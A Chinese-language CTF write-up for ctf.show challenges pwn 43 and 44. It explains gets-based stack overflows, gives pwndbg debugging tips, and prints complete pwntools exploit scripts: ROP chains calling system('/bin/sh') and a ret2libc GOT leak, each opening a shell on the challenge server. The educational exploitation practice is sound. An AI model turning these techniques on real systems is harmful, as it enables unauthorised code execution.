Siriusuuu
Siriusuuu
发布于 2026-11-14 / 1 阅读
0
0

pwn 43、44

43

32位程序

用gets函数进行读入数据,它可以无限读取,不会判断上限,可以包含空格,以回车结束读取,输入的数据会被原样复制到 buf 指向的内存中。所以这里就存在了明显的溢出

没有"/bin/sh" ,上面的办法也不行

存在system函数,但是没有了参数供我们使用,需要我们自己去进行构造。

使用pwndbg:

gdb ./show9 #连接

下断点:

pwndbg> b *main

然后自动跳出:

Breakpoint 1 at 0x80487af

pwndbg> r #run运行该程序,必须先运行,否则无法查看数据

vmmap:查看程序可写段,发现在0x804b000-0x804c000段存在读写权限(rw),这时我们可以通过get将恶意代码写入这个地址段上,然后getshell。

objdump -d -t .plt pwn | grep system

objdump -d -t .plt pwn | grep gets

向程序中 bss 段的 buf2 处写入 “/bin/sh” 字符串,并将其地址作为 system 的参数传入。

我们可以构造如下payload:

payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buf2) (类似64位)

+ p32(system)+ 'aaaa' + p32(buf2)

1. cyclic(0x6c+4) : 这部分使用pwntools库中的 cyclic 函数生成一个循环模式的字符串,长

度为0x6c+4。循环模式字符串用于进行调试和定位溢出点。当然这里你也可以继续使用 ‘a’*

(0x6c+4)也是没有问题的。

2. p32(gets) : 这部分使用pwntools的 p32 函数将 gets 函数的地址转换为一个4字节的字符

串。它用于将 gets 函数的地址作为返回地址覆盖到栈上。使程序在溢出时调用 gets 函数。输入的内容被放到buf2里

3. p32(pop_ebx) : 这部分使用 p32 函数将 pop_ebx 的地址转换为一个4字节的字符串。

pop_ebx;ret 是一个指令序列,用于将栈上的值弹出并存储到寄存器ebx中。

pop ebx 是必须的吗?

  • 这里用于清理栈(弹出 buf2),避免干扰 system() 的参数读取。

  • 如果去掉 pop ebx,栈会错位,导致 system() 读取错误参数。

4. p32(buf2) : 这部分使用 p32 函数将 buf2 的地址转换为一个4字节的字符串。 buf2 是一个指

向存储输入数据的缓冲区的指针。

5. p32(system) : 这部分使用 p32 函数将 system 函数的地址转换为一个4字节的字符串。它将

用于将 system 函数的地址作为返回地址覆盖到栈上。

6. 'aaaa' : 这部分是一个4字节的字符串,用于填充栈上的返回地址的剩余空间。

7. p32(buf2) : 这部分使用 p32 函数将 buf2 的地址转换为一个4字节的字符串。它作为

pop_ebx 指令的参数,用于将 buf2 的地址加载到寄存器ebx中。

io.sendline("/bin/sh")

这里通过输入传递给 gets 函数。由于payload中已经控制了程序的执行流程,这个输入将成为

gets 函数的输入,进而被作为 system 函数的参数执行系统命令。

最终我们这样就执行了system(“/bin/sh”) 进而实现了我们的目的了

exp:

from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28116)

elf = ELF('./pwn')

system = elf.sym['system']

buf2 = 0x804B060

gets = elf.sym['gets']

pop_ebx = 0x8048409 # 0x08048409 : pop ebx ; ret

payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buf2) +

p32(system) + 'aaaa' + p32(buf2)

io.sendline(payload)

io.sendline("/bin/sh")

io.recv()

io.interactive()

##断点不能乱下:

断点到底应该下在哪里?

做漏洞利用和逆向分析时,我们下断点是为了 观察特定时刻的状态 。以下是 5 个最有价值的“黄金断点位置”:

1. 程序的入口 / main 函数

命令 :b *main 或直接用 start 命令。

作用 :唤醒 pwndbg 界面。让程序刚启动就停住,方便你先观察整体环境、关闭随机化后的固定地址等。

2. 危险函数的调用处(如 gets, read, scanf, strcpy)

命令 :b gets 或 b 0x漏洞函数地址

作用 :这是栈溢出发生的“案发现场”。

* 停在 call gets 之前 :你可以用 telescope $rsp 查看此时栈的结构,测量缓冲区到返回地址的真实距离(也就是算 padding 长度)。

* 输入 payload 后:观察栈上的数据是否如预期般被覆盖。

3. leave; ret 指令处(控制流劫持的瞬间)

命令 :b *函数名+偏移 (找到最后 ret 的位置)

作用 :这是验证 ROP 链是否成功的“审判日”。

* 当程序执行到 ret 停下时,你看一眼栈顶($rsp 指向的值)。

* 如果栈顶是你布置的 pop_rdi 的地址,说明返回地址覆盖成功!接下来就可以按 si 单步进入你的 ROP 链了。

4. 关键比较/判断指令处(如 cmp, test)

场景 :CTF 中的逆向题,程序要求输入密码,内部有 cmp eax, 0xdeadbeef。

作用 :停在 cmp 之后,直接看寄存器 eax 里的值是多少,就能知道正确答案是什么(动态调试爆破)。

5. 目标函数内部(如 system 的第一条指令)

命令 :b *system

作用 :检查参数是否正确传递。

* 停在 system 入口时,看一眼 RDI 寄存器,确认里面是不是 "/bin/sh" 的地址。

* 同时看一眼 RSP,确认是不是 16 字节对齐(结合你第一个问题)。

44:

64位,题目是一样的结构

exp:

from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28137)

elf = ELF('./pwn')

system = elf.sym['system']

buf2 = 0x602080

gets = elf.sym['gets']

pop_rdi = 0x4007f3 # 0x00000000004007f3 : pop rdi ; ret

payload = cyclic(0xA + 8) + p64(pop_rdi) + p64(buf2) + p64(gets) +

p64(pop_rdi) + p64(buf2) + p64(system)

io.sendline(payload)

io.sendline("/bin/sh")

io.recv()

io.interactive()

或者用retlibcs的模板:

from pwn import *

from LibcSearcher import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

#io = process('./pwn')

io = remote('pwn.challenge.ctf.show',28137)

elf = ELF('./pwn')

libc = ELF('/home/bit/libc/64bit/libc-2.27.so')

puts_plt = elf.plt['puts']

puts_got = elf.got['puts']

main = elf.sym['main']

pop_rdi = 0x4007f3 # 0x00000000004007f3 : pop rdi ; ret

ret = 0x4004fe # 0x00000000004004fe : ret

payload = cyclic(0xA+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) +

p64(main)

io.recvuntil("get system parameter!")

io.sendline(payload)

puts = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

print hex(puts)

'''

libc = LibcSearcher('puts',puts)

libc_base = puts - libc.dump('puts')

system = libc_base + libc.dump('system')

bin_sh = libc_base + libc.dump('str_bin_sh')

'''

libc_base = puts - libc.sym['puts']

system = libc_base + libc.sym['system']

bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload = cyclic(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) +

p64(system)

io.recvuntil("get system parameter!")

io.sendline(payload)

io.interactive()


评论